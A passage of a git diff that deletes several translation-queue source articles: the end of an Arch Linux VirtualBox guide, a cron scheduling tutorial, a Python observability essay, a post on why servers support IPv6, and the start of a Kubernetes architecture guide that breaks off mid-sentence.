VirtualBox. - -All you have to do is start the virtual machine, and here’s how it looks in my case: - -![virtualbox arch][32] - -Even though it takes a bit of time to go through the options, the new guided installer on Arch Linux saves a lot of time to get the essentials right. - -![][33] - -The same set of steps apply for installing Arch Linux on your computer. You need to [make a separate bootable USB drive using Etcher][34] with the Arch Linux ISO file. - -### Wrapping Up - -[Arch Linux is a popular choice][1] for a variety of reasons. However, if it is your first time installing, or if you want to test it out, a virtual machine is the best way to experience it without disrupting your host computer. - -I hope this helps you install Arch Linux on VirtualBox. Let me know your thoughts in the comments down below. - --------------------------------------------------------------------------------- - -via: https://itsfoss.com/install-arch-linux-virtualbox/ - -作者:[Ankush Das][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://itsfoss.com/author/ankush/ -[b]: https://github.com/lujun9972 -[1]: https://itsfoss.com/why-arch-linux/ -[2]: https://itsfoss.com/install-arch-linux/ -[3]: https://itsfoss.com/debian-vs-ubuntu/ -[4]: https://itsfoss.com/install-virtualbox-ubuntu/ -[5]: https://www.virtualbox.org/wiki/Downloads -[6]: https://archlinux.org/download/ -[7]: https://itsfoss.com/best-torrent-ubuntu/ -[8]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/10/archlinux-downloads.png?resize=800%2C419&ssl=1 -[9]: https://itsfoss.com/free-up-space-ubuntu-linux/ -[10]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/10/virtualbox-new.png?resize=800%2C562&ssl=1 -[11]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/10/virtualbox-expert-mode.png?resize=707%2C438&ssl=1 -[12]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/10/virtualbox-create.png?resize=800%2C536&ssl=1 -[13]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/10/virtualbox-disk.png?resize=800%2C528&ssl=1 -[14]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/10/choose-disk-virtualbox-arch.png?resize=800%2C440&ssl=1 -[15]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/10/virtualbox-settings-option.png?resize=800%2C551&ssl=1 -[16]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/10/virtualbox-choose-iso.png?resize=800%2C314&ssl=1 -[17]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/10/virtualbox-arch-iso-select.png?resize=800%2C348&ssl=1 -[18]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/10/virtualbox-set-start.png?resize=800%2C548&ssl=1 -[19]: https://news.itsfoss.com/arch-linux-easy-install/ -[20]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/10/virtualbox-archlinux-boot.png?resize=800%2C593&ssl=1 -[21]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/10/vb-archinstall-guided.png?resize=800%2C400&ssl=1 -[22]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/10/vb-archinstall-kb-layout.png?resize=800%2C694&ssl=1 -[23]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/10/archinstall-region.png?resize=800%2C664&ssl=1 -[24]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/10/archinstall-selectdisk.png?resize=800%2C199&ssl=1 -[25]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/10/archinstall-desktop-configure.png?resize=800%2C497&ssl=1 -[26]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/10/archinstall-virtualbox-desktop-environment.png?resize=800%2C415&ssl=1 -[27]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/10/virtualbox-environment.png?resize=419%2C173&ssl=1 -[28]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/10/archinstall-linux-kernel.png?resize=800%2C692&ssl=1 -[29]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/10/virtualbox-arch-network-manager.png?resize=800%2C151&ssl=1 -[30]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/10/archinstall-confirmation.png?resize=800%2C697&ssl=1 -[31]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/10/iso-remove-archinstall.png?resize=800%2C286&ssl=1 -[32]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/10/virtualbox-arch.png?resize=800%2C635&ssl=1 -[33]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/10/kde-arch-virtualbox.png?resize=800%2C453&ssl=1 -[34]: https://itsfoss.com/install-etcher-linux/ diff --git a/sources/tech/20211115 Linux tips for using cron to schedule tasks.md b/sources/tech/20211115 Linux tips for using cron to schedule tasks.md deleted file mode 100644 index 7366456bd1..0000000000 --- a/sources/tech/20211115 Linux tips for using cron to schedule tasks.md +++ /dev/null @@ -1,219 +0,0 @@ -[#]: subject: "Linux tips for using cron to schedule tasks" -[#]: via: "https://opensource.com/article/21/11/cron-linux" -[#]: author: "Seth Kenlon https://opensource.com/users/seth" -[#]: collector: "lujun9972" -[#]: translator: " " -[#]: reviewer: " " -[#]: publisher: " " -[#]: url: " " - -Linux tips for using cron to schedule tasks -====== -Schedule backups, file cleanups, and other tasks by using this simple -yet powerful Linux command-line tool. Download our new cron cheat sheet. -![Linux keys on the keyboard for a desktop computer][1] - -Making things happen on a regular and predictable schedule is important on computers. It's important because, as humans, we can sometimes be bad at remembering to do things reliably because we get distracted, have too much on our minds, or we're on holiday. Computers are really good at doing things on a schedule, but a human has to program the computer before the computer takes action. - -In a way, the `cron` system is an easy and rudimentary introduction to programming. You can make your computer do what you want it to do just by editing a file. You don't even have to know where the file is kept. You have only to type in a simple command, enter the "recipe" you want your computer to follow, and save your work. From then on, your computer executes your instructions at the specified time until it is told to stop. - -By design, `cron` is not a complex system. Here's what you need to know about it. - -### What is cron? - -The `cron` command is so ubiquitous in Linux and Unix, and it's been mimicked and reinvented so often that it's almost a generic term for _something that happens on a schedule_. It's a form of automation, and although there are different implementations of it (Dillon's cron, Vixie's cron, chrony, and others), and variations like [`anacron`][2] and [systemd timers][3], the syntax and workflow has remained essentially the same for decades. - -Cron works on a "spool" system, much like printers and email. If you didn't know that printers and email use a spool, that's okay because the point of a spool file is that you aren't supposed to think about it much. On a Linux system, the directory `/var/spool` is designed as a central hub for important but low-level files that the user isn't meant to interact with directly. One of the spools managed in `/var/spool` is `cron` tables or "crontab" for short. Every user—yourself included—on a Linux system has a crontab. Users can edit, view, and remove their own crontab. In addition, users can use their crontab to schedule tasks. The `cron` system itself monitors crontabs and ensures that any job listed in a crontab is executed at its specified time. - -### Edit cron settings - -You can edit your crontab using the `crontab` command along with the `-e` (for _edit_) option. By default, most systems invoke the `vim` text editor. If you, like me, don't use Vim, then you can set a different editor for yourself in your `~/.bashrc` file. I set mine to Emacs, but you might also try [Nano][4], [Kate][5], or whatever your favorite editor happens to be. The **EDITOR** environment variable defines what text editor you use in your terminal, while the **VISUAL** variable defines what editor you use in a graphical mode: - - -``` - - -export EDITOR=nano -export VISUAL=kate - -``` - -Refresh your shell session with your new settings: - - -``` -`$ source ~/.bashrc` -``` - -Now you can edit your crontab with your preferred editor: - - -``` -`$ crontab -e` -``` - -#### Schedule a task - -The `cron` system is essentially a calendaring system. You can tell `cron` how frequently you want a job to run by using five different attributes: minute, hour, date, month, weekday. The order of these attributes is strict and not necessarily intuitive, but you can think of them as filters or masks. By default, you might think of everything being set to _always_ or _every_. This entry would run `touch /tmp/hello` at the top of every minute during every hour of every day all year long: - - -``` -`* * * * * touch /tmp/hello` -``` - -You can restrict this all-encompassing schedule by setting specific definitions for each attribute. To make the job run on the half-hour mark of each hour, set the minutes to **30**: - - -``` -`30 * * * * touch /tmp/hello` -``` - -You can further constrain this instruction with a specific hour. This job runs at 3:30 AM every morning: - - -``` -`30 3 * * * touch /tmp/hello` -``` - -You can also make the job run only on the first of each month: - - -``` -`30 3 1 * * touch /tmp/hello` -``` - -You can set a month using 1 for January up to 12 for December, and you can set a day using 0 for Sunday up to 6 for Saturday. This job runs at 3:15 during the month of April, only on Mondays: - - -``` -`15 3 * 4 1 touch /tmp/hello` -``` - -### Set increments - -All of these settings match a value _exactly_. You can also use `cron` notation to run jobs after a set passage of time. For instance, you can run a job every 15 minutes: - - -``` -`*/15 * * * * touch /tmp/hello` -``` - -You could run a job at 10 AM every three days: - - -``` -`* 10 */3 * * touch /tmp/hello` -``` - -You could run a job every six hours: - - -``` -`* */6 * * * touch /tmp/hello` -``` - -### Cron shorthand - -Modern `cron` implementations have added a convenient shorthand for common schedules. These are: - - * `@hourly` - * `@daily` - * `@weekly` - * `@monthly` - * `@yearly or @annually` - - - -### List cron jobs - -Using the `crontab` command, you can see a list of your scheduled `cron` jobs: - - -``` - - -$ crontab -l -15 3 * 4 1 touch /tmp/hello - -``` - -### Remove a crontab - -When you're done with a crontab, you can remove it with the `-r` option: - - -``` -`$ crontab -r -i` -``` - -The `-i` option stands for _interactive_. It prompts you for confirmation before deleting the file. - -### What cron can do - -It's one thing to know how to use `cron`, but it's another thing to know what to use it for. The classic use case is a good backup plan. If your computer is on for most of the day or all day and all night, then you can schedule a routine backup of an important partition. I run a backup application called `rdiff-backup` on my primary data partition daily at 3AM: - - -``` - - -$ crontab -l | grep rdiff -* 3 * * * rdiff-backup /data/ /vault/ - -``` - -Another common use is system maintenance. On my Slackware desktop, I update my local repository catalog every Friday afternoon: - - -``` - - -$ crontab -l | grep slack -* 14 * * 5 sudo slackpkg update - -``` - -I could also run an Ansible script at 15:00 every three days to [tidy up my Downloads folder][6]: - - -``` - - -$ crontab -l | grep ansible -* 15 */3 * * ansible-playbook /home/seth/Ansible/cleanup.yaml - -``` - -A little investment in the health of your computing environment goes a long way. There are de-duplication scripts, file size and `/tmp` directory monitors, photo resizers, file movers, and many more menial tasks you could schedule to run in the background to help keep your system uncluttered. With `cron`, your computer can take care of itself in ways I only wish my physical apartment would. - -### Remember cron settings - -Besides coming up with _why_ you need `cron`, the hardest thing about `cron` in my experience has been remembering its syntax. Repeat this to yourself, over and over until you've committed it to memory: - -_Minutes, hours, date, month, weekday._ - -_Minutes, hours, date, month, weekday._ - -_Minutes, hours, date, month, weekday._ - -Better yet, go [download our free cheatsheet][7] so you have the key close at hand when you need it the most! - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/11/cron-linux - -作者:[Seth Kenlon][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/seth -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/linux_keyboard_desktop.png?itok=I2nGw78_ (Linux keys on the keyboard for a desktop computer) -[2]: https://opensource.com/article/21/2/linux-automation -[3]: https://opensource.com/article/20/7/systemd-timers -[4]: https://opensource.com/article/20/12/gnu-nano -[5]: https://opensource.com/article/20/12/kate-text-editor -[6]: https://opensource.com/article/21/9/keep-folders-tidy-ansible -[7]: https://opensource.com/downloads/linux-cron-cheat-sheet diff --git a/sources/tech/20211122 7 key components of observability in Python.md b/sources/tech/20211122 7 key components of observability in Python.md deleted file mode 100644 index 79728f9326..0000000000 --- a/sources/tech/20211122 7 key components of observability in Python.md +++ /dev/null @@ -1,188 +0,0 @@ -[#]: subject: "7 key components of observability in Python" -[#]: via: "https://opensource.com/article/21/11/observability-python" -[#]: author: "Moshe Zadka https://opensource.com/users/moshez" -[#]: collector: "lujun9972" -[#]: translator: " " -[#]: reviewer: " " -[#]: publisher: " " -[#]: url: " " - -7 key components of observability in Python -====== -Learn why observability is important for Python and how to implement it -into your software development lifecycle. -![Searching for code][1] - -The applications you write execute a lot of code, in a way that's essentially invisible. So how can you know: - - * Is the code working? - * Is it working well? - * Who's using it, and how? - - - -Observability is the ability to look at data that tells you what your code is doing. In this context, the main problem area is server code in distributed systems. It's not that observability isn't important for client applications; it's that clients tend not to be written in Python. It's not that observability does not matter for, say, data science; it's that tooling for observability in data science (mostly Juptyter and quick feedback) is different. - -### Why observability matters - -So why does observability matter? Observability is a vital part of the software development life cycle (SDLC). - -Shipping an application is not the end; it is the beginning of a new cycle. In that cycle, the first stage is to confirm that the new version is running well. Otherwise, a rollback is probably needed. Which features are working well? Which ones have subtle bugs? You need to know what's going on to know what to work on next. Things fail in weird ways. Whether it's a natural disaster, a rollout of underlying infrastructure, or an application getting into a strange state, things can fail at any time, for any reason. - -Outside of the standard SDLC, you need to know that everything is still running. If it's not running, it's essential to have a way to know how it is failing. - -### Feedback - -The first part of observability is getting feedback. When code gives information about what it is doing, feedback can help in many ways. In a staging or testing environment, feedback helps find problems and, more importantly, triage them in a faster way. This improves the tooling and communication around the validation step. - -When doing a canary deployment or changing a feature flag, feedback is also important to let you know whether to continue, wait longer, or roll it back. - -### Monitor - -Sometimes you suspect that something has gone wrong. Maybe a dependent service is having issues, or maybe social media is barraging you with questions about your site. Maybe there's a complicated operation in a related system, and you want to make sure your system is handling it well. In those cases, you want to aggregate the data from your observability system into dashboards. - -When writing an application, these dashboards need to be part of the design criteria. The only way they have data to display is when your application shares it with them. - -### Alerts - -Watching dashboards for more than 15 minutes at a time is like watching paint dry. No human should be subjected to this. For that task, we have alerting systems. Alerting systems compare the observability data to the expected data and send a notification when it doesn't match up. Fully delving into incident management is beyond the scope of this article. However, observable applications are alert-friendly in two ways: - - * They produce enough data, with enough quality, that high-quality alerts can be sent. - * The alert has enough data, or the receiver can easily get the data, to help triage the source. - - - -High-quality alerts have three properties: - - * Low false alarms: If there's an alert, there's definitely a problem. - * Low missing alarms: When there's a problem, an alert is triggered. - * Timely: An alert is sent quickly to minimize time to recovery. - - - -These three properties are in a three-way conflict. You can reduce false alarms by raising the threshold of detection at the cost of increasing missing alarms. You can reduce missing alarms by lowering the threshold of detection at the expense of increasing false alarms. You can reduce both false alarms and missing alarms by collecting more data at the cost of timeliness. - -Improving all three parameters is harder. This is where the quality of observability data comes in. Higher quality data can reduce all three. - -### Logging - -Some people like to make fun of print-based debugging. But in a world where most software runs on not-your-local-PC, print debugging is all you can do. Logging is a formalization of print debugging. The Python logging library, for all of its faults, allows standardized logging. Most importantly, it means you can log from libraries. - -The application is responsible for configuring which logs go where. Ironically, after many years where applications were literally responsible for configuration, this is less and less true. Modern applications in a modern container orchestration environment log to standard error and standard output and trust the orchestration system to manage the log properly. - -However, you should not rely on it in libraries, or pretty much anywhere. If you want to let the operator know what's going on, _use logging, not print_. - -#### Logging levels - -One of the most important features of logging is _logging levels_. Logging levels allow you to filter and route logs appropriately. But this can only be done if logging levels are consistent. At the very least, you should make them consistent across your applications. - -With a little help, libraries that choose incompatible semantics can be retroactively fixed by appropriate configuration at the application level. Do this by using the most important universal convention in Python: using the `getLogger(__name-_)`. - -Most reasonable libraries follow this convention. Filters can modify logging objects in place before they are emitted. You can attach a filter to the handler that will modify the messages based on the name to have appropriate levels. - - -``` - - -import logging - -LOGGER=logging.getLogger(__name__) - -``` - -With this in mind, you now have to actually specify semantics for logging levels. There are a lot of options, but the following are my favorite: - - * Error: This sends an immediate alert. The application is in a state that requires operator attention. (This means that Critical and Error are folded.) - * Warning: I like to call these “Business hours alerts.” Someone should look at this within one business day. - * Info: This is emitted during normal flow. It's designed to help people understand what the application is doing if they already suspect a problem. - * Debug: This is not emitted in the production environment by default. It might or might not be emitted in development or staging, and it can be turned on explicitly in production if more information is needed. - - - -In no case should you include PII (Personal Identifiable Information) or passwords in logs. This is true regardless of levels. Levels change, debug levels are activated, and so on. Logging aggregation systems are rarely PII-safe, especially with evolving PII regulation (HIPAA, GDPR, and others). - -#### Log aggregation - -Modern systems are almost always distributed. Redundancy, scaling, and sometimes jurisdictional needs mean horizontal distribution. Microservices mean vertical distribution. Logging into each machine to check the logs is no longer realistic. It is often a bad idea for proper control reasons: allowing developers to log into machines gives them too many privileges. - -All logs should be sent into an aggregator. There are commercial offerings, you can configure an ELK stack, or you can use any other database (SQL or no-SQL). As a really low-tech solution, you can write the logs to files and ship them to an object storage. There are too many solutions to explain, but the most important thing is choosing one and aggregating everything. - -#### Logging queries - -After logging everything to one place, there are too many logs. The specific aggregator defines how to write queries, but whether it's grepping through storage or writing NoSQL queries, logging queries to match source and details are useful. - -### Metric scraping - -Metrics scraping is a server pull model. The metrics server connects to the application periodically and pulls the metrics. - -At the very least, this means the server needs connectivity and discovery for all relevant application servers. - -#### Prometheus as a standard - -The [Prometheus][2] format as an endpoint is useful if your metrics aggregator is Prometheus. But it is also useful if it is not! Almost all systems contain a compatibility shim for Prometheus endpoints. - -Adding a Prometheus shim to your application using the client Python library allows it to be scraped by most metrics aggregators. Prometheus expects to find, once it discovers the server, a metrics endpoint. This is often part of the application routing, often at `/metrics`. Regardless of the platform of the web application, if you can serve a custom byte stream with a custom content type at a given endpoint, you can be scraped by Prometheus. - -For the most popular framework, there is also a middleware plugin or something equivalent that automatically collects some metrics, like latency and error rates. This is not usually enough. You want to collect custom application data: for example, cache hit/miss rates per endpoint, database latency, and so on. - -#### Using counters - -Prometheus supports several data types. One important and subtle type is the counter. Counters always advance—with one caveat. - -When the application resets, the counter goes back to zero. These “epochs” in counters are managed by having the counter “creation time” sent as metadata. Prometheus will know not to compare counters from two different epochs. - -#### Using gauges - -Gauges are much simpler: They measure instantaneous values. Use them for measurements that go up and down: for example, total allocated memory, size of cache, and so on. - -#### Using enums - -Enums are useful for states of the application as a whole, although they can be collected on a more granular basis. For example, if you are using a feature-gating framework, a feature that can have several states (e.g., in use, disabled, shadowing) might be useful to have as an enum. - -### Analytics - -Analytics are different from metrics in that they correspond to coherent events. For example, in network servers, an event is one outside request and its resulting work. In particular, the analytics event cannot be sent until the event is finished. - -An event contains specific measurements: latency, number and possibly details of resulting requests to other services, and so on. - -#### Structured Logging - -One current possible option is structured logging. The send event is just sending a log with a properly formatted payload. This data can be queried from the log aggregator, parsed, and ingested into an appropriate system for allowing visibility into it. - -### Error tracking - -You can use logs to track errors, and you can use analytics to track errors. But a dedicated error system is worthwhile. A system optimized for errors can afford to send more data since errors are rare. It can send the right data, and it can do smart things with the data. Error-tracking systems in Python usually hook into a generic exception handler, collect data, and send it to a dedicated error aggregator. - -#### Using Sentry - -In many cases, running Sentry yourself is the right thing to do. When an error has occurred, something has gone wrong. Reliably removing sensitive data is not possible, since these are precisely the cases where the sensitive data might have ended up somewhere it shouldn't. - -It is often not a big load: exceptions are supposed to be rare. Finally, this is not a system that needs high-quality, high-reliability backups. Yesterday's errors are already fixed, hopefully, and if they are not—you'll know! - -### Fast, safe, repeatable: choose all three - -Observable systems are faster to develop since they give you feedback. They are safer to run since, when they go wrong, they let you know sooner. Finally, observability lends itself to building repeatable processes around it since there is a feedback loop. Observability gives you knowledge about your application. And knowing is half the battle. - -#### Upfront investment pays off - -Building all the observability layers is hard work. It also often feels like wasted work, or at least like “nice to have but not urgent.” - -Can you build it later? Maybe, but you shouldn't. Building it right lets you speed up the rest of development so much at all stages: testing, monitoring, and even onboarding new people. In an industry with as much churn as tech, just reducing the overhead of onboarding a new person is worth it. - -The fact is, observability is important, so write it in early in the process and maintain it throughout. In turn, it will help you maintain your software. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/11/observability-python - -作者:[Moshe Zadka][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/moshez -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/search_find_code_python_programming.png?itok=ynSL8XRV (Searching for code) -[2]: https://opensource.com/article/21/7/run-prometheus-home-container diff --git a/sources/tech/20220129 Reasons for servers to support IPv6.md b/sources/tech/20220129 Reasons for servers to support IPv6.md deleted file mode 100644 index 1c43a65c90..0000000000 --- a/sources/tech/20220129 Reasons for servers to support IPv6.md +++ /dev/null @@ -1,192 +0,0 @@ -[#]: subject: "Reasons for servers to support IPv6" -[#]: via: "https://jvns.ca/blog/2022/01/29/reasons-for-servers-to-support-ipv6/" -[#]: author: "Julia Evans https://jvns.ca/" -[#]: collector: "lujun9972" -[#]: translator: " " -[#]: reviewer: " " -[#]: publisher: " " -[#]: url: " " - -Reasons for servers to support IPv6 -====== - -I’ve been having a hard time understanding IPv6. On one hand, the basics initially seem pretty straightforward (there aren’t enough IPv4 addresses for all the devices on the internet, so people invented IPv6! There are enough IPv6 addresses for everyone!) - -But when I try to actually understand it, I run into a lot of questions. One question is: `twitter.com` does not support IPv6. Presumably it can’t be causing them THAT many issues to not support it. So why _do_ websites support IPv6? - -I asked people on Twitter [why their servers support IPv6][1] and I got a lot of great answers, which I’ll summarize here. These all come with the disclaimer that I have basically 0 experience with IPv6 so I can’t evaluate these reasons very well. - -First though, I want to explain why it’s possible for `twitter.com` to not support IPv6 because I didn’t understand that initially. - -### how can you tell `twitter.com` doesn’t support IPv6? - -You can tell they don’t support IPv6 is because if you look up their AAAA record (which contains their IPv6 address), there isn’t one. Some other big sites like `github.com` and `stripe.com` also don’t support IPv6. - -``` - - $ dig AAAA twitter.com - (empty response) - $ dig AAAA github.com - (empty response) - $ dig AAAA stripe.com - (empty response) - -``` - -### why does `twitter.com` still work for IPv6 users? - -I found this really confusing, because I’ve always heard that lots of internet users are forced to use IPv6 because we’ve run out of IPv4 addresses. But if that’s true, how could twitter.com continue to work for those people without IPv6 support? Here’s what I learned from the Twitter thread yesterday. - -There are two kinds of internet service providers (ISPs): - - 1. ISPs who own enough IPv4 address for all of their customers - 2. ISPs who don’t - - - -My ISP is in category 1 – my computer gets its own IPv4 address, and actually my ISP doesn’t even support IPv6 at all. - -But lots of ISPs (especially outside of North America) are in category 2: they don’t have enough IPv4 addresses for all their customers. Those ISPs handle the problem by: - - * giving all of their customers a unique IPv6 address, so they can access IPv6 sites directly - * making large groups of their customers _share_ IPv4 addresses. This can either be with CGNAT (”[carrier-grade NAT][2]”) or “464XLAT” or maybe something else. - - - -All ISPs need _some_ IPv4 addresses, otherwise it would be impossible for their customers to access IPv4-only sites like twitter.com. - -### what are the reasons to support IPv6? - -Now we’ve explained why it’s possible to _not_ support IPv6. So why support it? There were a lot of reasons. - -### reason: CGNAT is a bottleneck - -The argument that was most compelling to me was: CGNAT (carrier-grade NAT) is a bottleneck and it causes performance issues, and it’s going to continue to get worse over time as access to IPv4 addresses becomes more and more restricted. - -Someone also mentioned that because CGNAT is a bottleneck, it’s an attractive DDoS target because you can ruin lots of people’s internet experience just by attacking 1 server. - -Servers supporting IPv6 reduces the need for CGNAT (IPv6 users can just connect directly!) which makes the internet work better for everyone. - -I thought this argument was interesting because it’s a “public commons” / community argument – it’s less that supporting IPv6 will make your site specifically work better, and more that if _almost everyone_ supports IPv6 then it’ll make the experience of the internet better for everyone, especially in countries where people don’t have easy access to IPv4 addresses. - -I don’t actually know how much of an issue this is in practice. - -There were lots of more selfish arguments to use IPv6 too though, so let’s get into those. - -### reason: so IPv6-only servers can access your site - -I said before that most IPv6 users still have access to IPv4 though some kind of NAT. But apparently that’s not true for everyone – some people mentioned that they run some servers which only have IPv6 addresses and which aren’t behind any kind of NAT. So those servers are actually totally unable to access IPv4-only sites. - -I imagine that those servers aren’t connecting to arbitrary machines that much – maybe they only need to connect to a few hosts with IPv6 support. - -But it makes sense to me that a machine should be able to access my site even if it doesn’t have an IPv4 address. - -### reason: better performance - -For users who are using both IPv4 and IPv6 (with a dedicated IPv6 address and a shared IPv4 address), apparently IPv6 is often faster because it doesn’t need to go through an extra translation layer. - -So supporting IPv6 can make the site faster for users sometimes. - -In practice clients use an algorithm called “Happy Eyeballs” which tries to figure out whether IPv4 or IPv6 will be faster and then uses whichever seems faster. - -Some other performance benefits people mentioned: - - * maybe sometimes using IPv6 can get you a SEO boost because of the better performance. - * maybe using IPv6 causes you to go through better (faster) network hardware because it’s a newer protocol - - - -### reason: resilience against IPv4 internet outages - -One person said that they’ve run into issues where there was an internet outage that only affected IPv4 traffic, because of accidental BGP poisoining. - -So supporting IPv6 means that their site can still stay partially online during those outages. - -### reason: to avoid NAT issues with home servers - -A few people mentioned that it’s much easier to use IPv6 with home servers – instead of having to do port forwarding through your router, you can just give every server a unique IPv6 address and then access it directly. - -Of course, for this to work the client needs to have IPv6 support, but more and more clients these days have IPv6 support too. - -### reason: to own your IP addresses - -Apparently you can buy IPv6 addresses, use them for the servers on your home network, and then if you change your ISP, continue to use the same IP addresses? - -I’m still not totally sure how this works (I don’t know how you would convince computers on the internet to actually route those IPs to you? I guess you need to run your own AS or something?). - -### reason: to learn about IPv6 - -One person said they work in security and in security it’s very important to understand how internet protocols work (attackers are using internet protocols!). So running an IPv6 server helps them learn how it works. - -### reason: to push IPv6 forward / IPv4 is “legacy” - -A couple of people said that they support IPv6 because it’s the current standard, and so they want to contribute to the success of IPv6 by supporting it. - -A lot of people also said that they support IPv6 because they think sites that only support IPv4 are “behind” or “legacy”. - -### reason: it’s easy - -I got a bunch of answers along the lines of “it’s easy, why not”. Obviously adding IPv6 support is not easy in all situations, but a couple of reasons it might be easy in some cases: - - * you automatically got an IPv6 address from your hosting company, so all you need to do is add an `AAAA` record pointing to that address - * your site is behind a CDN that supports IPv6, so you don’t need to do anything extra - - - -### reason: safer networking experimentation - -Because the address space is so big, if you want to try something out you can just grab an IPv6 subnet, try out some things in it, and then literally never use that subnet again. - -### reason: to run your own autonomous system (AS) - -A few people said they were running their own autonomous system (I talked about what an AS is a bit in this [BGP post][3]). IPv4 addresses are too expensive so they bought IPv6 addresses for their AS instead. - -### reason: security by obscurity - -If your server _only_ has a public IPv6 address, attackers can’t easily find it by scanning the whole internet. The IPv6 address space is too big to scan! - -Obviously this shouldn’t be your only security measure, but it seems like a nice bonus – any time I run an IPv4 public server I’m always a tiny bit surprised by how it’s constantly being scanned for vulnerabilities (like old versions of WordPress, etc). - -### very silly reason: you can put easter eggs in your IPv6 address - -IPv6 addresses have a lot of extra bits in them that you can do frivolous things with. For example one of Facebook’s IPv6 addresses is “2a03:2880:f10e:83:face:b00c:0:25de” (it has `face:b00c` in it). - -### there are more reasons than I thought - -That’s all I’ve learned about the “why support IPv6?” question so far. - -I came away from this conversation more motivated to support IPv6 on my (very small) servers than I had been before. But that’s because I think supporting IPv6 will require very little effort for me. (right now I’m using a CDN that supports IPv6 so it comes basically for free) - -I know very little about IPv6 still but my impression is that IPv6 support often isn’t zero-effort and actually can be a lot of work. For example, I have no idea how much work it would actually be for Twitter to add IPv6 support on their edge servers. - -### some more IPv6 questions - -Here are some more IPv6 questions I have that maybe I’ll explore later: - - * what are the _disadvantages_ to supporting IPv6? what goes wrong? - * what are the incentives for ISPs that own enough IPv4 addresses for their customers to support IPv6? (another way of asking: is it likely that my ISP will move to supporting IPv6 in the next few years? or are they just not incentivized to do it so it’s unlikely?) - * [digital ocean][4] seems to only support IPv4 floating IPs, not IPv6 floating IPs. Why not? Shouldn’t it be _easier_ to give out IPv6 floating IPs since there are more of them? - * when I try to ping an IPv6 address (like example.com’s IP `2606:2800:220:1:248:1893:25c8:1946` for example) I get the error `ping: connect: Network is unreachable`. Why? (answer: it’s because my ISP doesn’t support IPv6 so my computer doesn’t have a public IPv6 address) - - - -This [IPv4 vs IPv6 article from Tailscale][5] looks interesting and answers some of these questions. - --------------------------------------------------------------------------------- - -via: https://jvns.ca/blog/2022/01/29/reasons-for-servers-to-support-ipv6/ - -作者:[Julia Evans][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://jvns.ca/ -[b]: https://github.com/lujun9972 -[1]: https://twitter.com/b0rk/status/1487156306884636672 -[2]: https://en.wikipedia.org/wiki/Carrier-grade_NAT -[3]: https://jvns.ca/blog/2021/10/05/tools-to-look-at-bgp-routes/ -[4]: https://docs.digitalocean.com/products/networking/floating-ips/ -[5]: https://tailscale.com/kb/1134/ipv6-faq/ diff --git a/sources/tech/20220214 A guide to Kubernetes architecture.md b/sources/tech/20220214 A guide to Kubernetes architecture.md deleted file mode 100644 index f334912823..0000000000 --- a/sources/tech/20220214 A guide to Kubernetes architecture.md +++ /dev/null @@ -1,183 +0,0 @@ -[#]: subject: "A guide to Kubernetes architecture" -[#]: via: "https://opensource.com/article/22/2/kubernetes-architecture" -[#]: author: "Nived Velayudhan https://opensource.com/users/nivedv" -[#]: collector: "lujun9972" -[#]: translator: "MjSeven" -[#]: reviewer: " " -[#]: publisher: " " -[#]: url: " " - -A guide to Kubernetes architecture -====== -Learn how the different components of Kubernetes architecture fit -together so you can be better equipped to diagnose problems, maintain a -healthy cluster, and optimize your own workflow. -![Parts, modules, containers for software][1] - -You use Kubernetes to orchestrate containers. It's an easy description to say, but understanding what that actually means and how you accomplish it is another matter entirely. If you're running or managing a Kubernetes cluster, then you know that Kubernetes consists of one computer that gets designated as the _control plane_, and lots of other computers that get designated as _worker nodes_. Each of these has a complex but robust stack making orchestration possible, and getting familiar with each component helps understand how it all works. - -![Kubernetes architecture diagram][2] - -(Nived Velayudhan, [CC BY-SA 4.0][3]) - -### Control plane components - -You install Kubernetes on a machine called the control plane. It's the one running the Kubernetes daemon, and it's the one you communicate with when starting containers and pods. The following sections describe the control plane components. - -#### Etcd - -Etcd is a fast, distributed, and consistent key-value store used as a backing store for persistently storing Kubernetes object data such as pods, replication controllers, secrets, and services. Etcd 